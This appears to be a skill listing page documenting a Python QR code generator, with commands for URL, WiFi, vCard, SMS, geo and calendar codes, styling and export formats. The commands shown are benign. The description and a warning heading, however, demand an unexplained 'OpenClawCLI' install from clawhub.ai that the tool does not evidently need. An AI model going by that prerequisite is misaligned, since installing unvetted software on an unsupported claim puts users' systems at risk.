qr-code-generator
Use this skill when users need to create QR codes for any purpose. Triggers include: requests to "generate QR code", "create QR", "make a QR code for", or mentions of encoding data into scannable codes. Supports URLs, text, WiFi credentials, vCards (contact information), email addresses, phone numbers, SMS, location coordinates, calendar events, and custom data. Can customize colors, add logos, generate bulk QR codes, and export in multiple formats (PNG, SVG, PDF). Requires OpenClawCLI installation from clawhub.ai.
Install
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About this skill
QR Code Generator
Generate customizable QR codes for URLs, text, WiFi credentials, contact cards, and more. Supports batch generation, custom styling, logo embedding, and multiple export formats.
⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS)
Installation:
# Standard installation
pip install qrcode[pil] segno
# If you encounter permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install qrcode[pil] segno
Never use --break-system-packages as it can damage your system's Python installation.
Quick Reference
| Task | Command |
|---|---|
| Basic URL QR code | python scripts/qr.py "https://example.com" |
| Text QR code | python scripts/qr.py --type text "Hello World" |
| WiFi QR code | python scripts/qr.py --type wifi --ssid "MyNetwork" --password "secret" |
| vCard contact | python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890" |
| Custom colors | python scripts/qr.py "URL" --fg-color blue --bg-color white |
| With logo | python scripts/qr.py "URL" --logo logo.png |
| SVG format | python scripts/qr.py "URL" --format svg |
| Batch generation | python scripts/qr.py --batch urls.txt --output-dir qrcodes/ |
Core Features
1. Multiple Data Types
Generate QR codes for various data types with automatic formatting.
Supported Types:
- URL - Websites and web links
- Text - Plain text messages
- WiFi - WiFi network credentials
- vCard - Contact information (VCF format)
- Email - Email addresses with optional subject/body
- Phone - Phone numbers (tel: links)
- SMS - SMS messages with recipient and text
- Geo - Geographic coordinates
- Event - Calendar events (iCal format)
- Custom - Any custom data
2. Customization Options
Personalize QR code appearance:
- Foreground and background colors
- Custom error correction levels
- Border size adjustment
- Module size control
- Logo/image embedding
3. Multiple Export Formats
Export in various formats for different use cases:
- PNG - Raster images (default)
- SVG - Vector graphics (scalable)
- PDF - Print-ready documents
- EPS - Vector format for design tools
- Terminal - ASCII art for terminal display
4. Batch Processing
Generate multiple QR codes from:
- Text files (one entry per line)
- CSV files (with metadata)
- JSON files (with configuration)
Basic Usage
URL QR Codes
Generate QR codes for websites and links.
# Simple URL
python scripts/qr.py "https://example.com"
# With custom filename
python scripts/qr.py "https://github.com" --output github_qr.png
# High error correction for printed codes
python scripts/qr.py "https://mysite.com" --error-correction H --output site_qr.png
Output:
QR code generated: qrcode.png
Size: 290x290 pixels
Error correction: M (Medium)
Data: https://example.com
Text QR Codes
Encode plain text messages.
# Simple text
python scripts/qr.py --type text "Hello, World!"
# Multi-line text
python scripts/qr.py --type text "Line 1\nLine 2\nLine 3" --output message.png
# Large text (automatic size adjustment)
python scripts/qr.py --type text "$(cat message.txt)" --output text_qr.png
WiFi QR Codes
Create scannable WiFi credentials.
# WPA/WPA2 network
python scripts/qr.py --type wifi --ssid "MyNetwork" --password "SecurePassword123"
# WPA2 network (explicit)
python scripts/qr.py --type wifi --ssid "HomeWiFi" --password "pass123" --security WPA
# Hidden network
python scripts/qr.py --type wifi --ssid "SecretNet" --password "secret" --hidden
# Open network (no password)
python scripts/qr.py --type wifi --ssid "GuestNetwork" --security nopass
Security types: WPA, WEP, nopass
Output QR contains:
WIFI:T:WPA;S:MyNetwork;P:SecurePassword123;H:false;;
Contact Cards (vCard)
Generate vCard QR codes for easy contact sharing.
# Basic contact
python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890"
# Full contact details
python scripts/qr.py --type vcard \
--name "Jane Smith" \
--phone "+1234567890" \
--email "jane@example.com" \
--organization "Tech Corp" \
--title "Senior Developer" \
--url "https://janesmith.com" \
--address "123 Main St, City, State, 12345" \
--output jane_contact.png
# Multiple phone numbers
python scripts/qr.py --type vcard \
--name "Bob Johnson" \
--phone "+1234567890" \
--phone-home "+0987654321" \
--email "bob@email.com"
Generated vCard format:
BEGIN:VCARD
VERSION:3.0
FN:John Doe
TEL:+1234567890
END:VCARD
Email QR Codes
Create mailto: links with optional subject and body.
# Simple email
python scripts/qr.py --type email --email "contact@example.com"
# With subject
python scripts/qr.py --type email --email "support@company.com" --subject "Support Request"
# With subject and body
python scripts/qr.py --type email \
--email "info@example.com" \
--subject "Inquiry" \
--body "I would like more information about..."
Output QR contains:
mailto:contact@example.com?subject=Support%20Request&body=Message%20text
Phone Number QR Codes
Generate clickable phone links.
# Simple phone number
python scripts/qr.py --type phone --phone "+1234567890"
# International format
python scripts/qr.py --type phone --phone "+44 20 7946 0958"
Output QR contains:
tel:+1234567890
SMS QR Codes
Create pre-filled SMS messages.
# SMS with recipient only
python scripts/qr.py --type sms --phone "+1234567890"
# SMS with message
python scripts/qr.py --type sms --phone "+1234567890" --message "Hello from QR code!"
Output QR contains:
sms:+1234567890?body=Hello%20from%20QR%20code!
Geographic Location QR Codes
Encode GPS coordinates.
# Coordinates only
python scripts/qr.py --type geo --latitude 37.7749 --longitude -122.4194
# With altitude
python scripts/qr.py --type geo --latitude 40.7128 --longitude -74.0060 --altitude 10
# Named location
python scripts/qr.py --type geo --latitude 51.5074 --longitude -0.1278 --location-name "London"
Output QR contains:
geo:37.7749,-122.4194
Calendar Event QR Codes
Generate iCalendar event QR codes.
# Basic event
python scripts/qr.py --type event \
--event-title "Team Meeting" \
--event-start "2024-03-15T14:00:00" \
--event-end "2024-03-15T15:00:00"
# Full event details
python scripts/qr.py --type event \
--event-title "Conference 2024" \
--event-start "2024-06-01T09:00:00" \
--event-end "2024-06-01T17:00:00" \
--event-location "Convention Center, NYC" \
--event-description "Annual tech conference" \
--output conference_qr.png
Customization Options
Colors
Customize foreground and background colors.
# Named colors
python scripts/qr.py "https://example.com" --fg-color blue --bg-color white
# Hex colors
python scripts/qr.py "https://example.com" --fg-color "#FF0000" --bg-color "#FFFFFF"
# RGB colors
python scripts/qr.py "https://example.com" --fg-color "rgb(0,100,200)" --bg-color "rgb(255,255,255)"
# Transparent background
python scripts/qr.py "https://example.com" --bg-color transparent --format png
Common color names: black, white, red, blue, green, yellow, orange, purple, pink, brown, gray
Error Correction
Set error correction level (higher = more damage resistance).
--error-correction <L|M|Q|H>
Levels:
- L - Low (~7% recovery) - Use for digital display
- M - Medium (~15% recovery) - Default, good balance
- Q - Quartile (~25% recovery) - Use when adding logos
- H - High (~30% recovery) - Best for print, damaged surfaces
# Low (smallest QR code)
python scripts/qr.py "https://example.com" --error-correction L
# High (best for print with logo)
python scripts/qr.py "https://example.com" --error-correction H --logo company.png
Size and Border
Control QR code size and border width.
# Custom module size (box size in pixels)
python scripts/qr.py "URL" --box-size 20
# Custom border (modules)
python scripts/qr.py "URL" --border 2
# Large QR code
python scripts/qr.py "URL" --box-size 30 --border 4 --output large_qr.png
# Minimal QR code (no border)
python scripts/qr.py "URL" --border 0 --output minimal_qr.png
Defaults:
- Box size: 10 pixels
- Border: 4 modules (recommended minimum)
Logo Embedding
Add logos or images to QR codes.
# Add logo (center)
python scripts/qr.py "https://company.com" --logo company_logo.png
# Custom logo size (percentage of QR code)
python scripts/qr.py "URL" --logo logo.png --logo-size 20
# High error correction recommended with logos
python scripts/qr.py "URL" --logo logo.png --error-correction H
Logo tips:
- Use square or circular logos
- Keep logo size ≤ 30% of QR code
- Use high error correction (Q or H)
- Test scanning after adding logo
Export Formats
PNG (Default)
Raster image format, good for digital use.
python scripts/qr.py "https://example.com" --format png --output qr.png
Best for: Web, digital displays, simple sharing
SVG (Vector)
Scalable vector graphics, perfect for any size.
python scripts/qr.py "https://example.com" --format svg --output qr.svg
Best for: Print, design work, scaling to any size
Print-ready PDF documents.
python scripts/qr.py "https://example.com" --format pdf --output qr.pdf
Best for: Printing, documents, archival
EPS
Encapsulated PostScript for professional design tools.
python scripts/qr.py "https://example.com" --format eps --output qr.eps
Best for: Professional design software (Adobe Illustrator, etc.)
Terminal
Display QR code as ASCII art in terminal.
python scripts/qr.py "https://example.com" --format term
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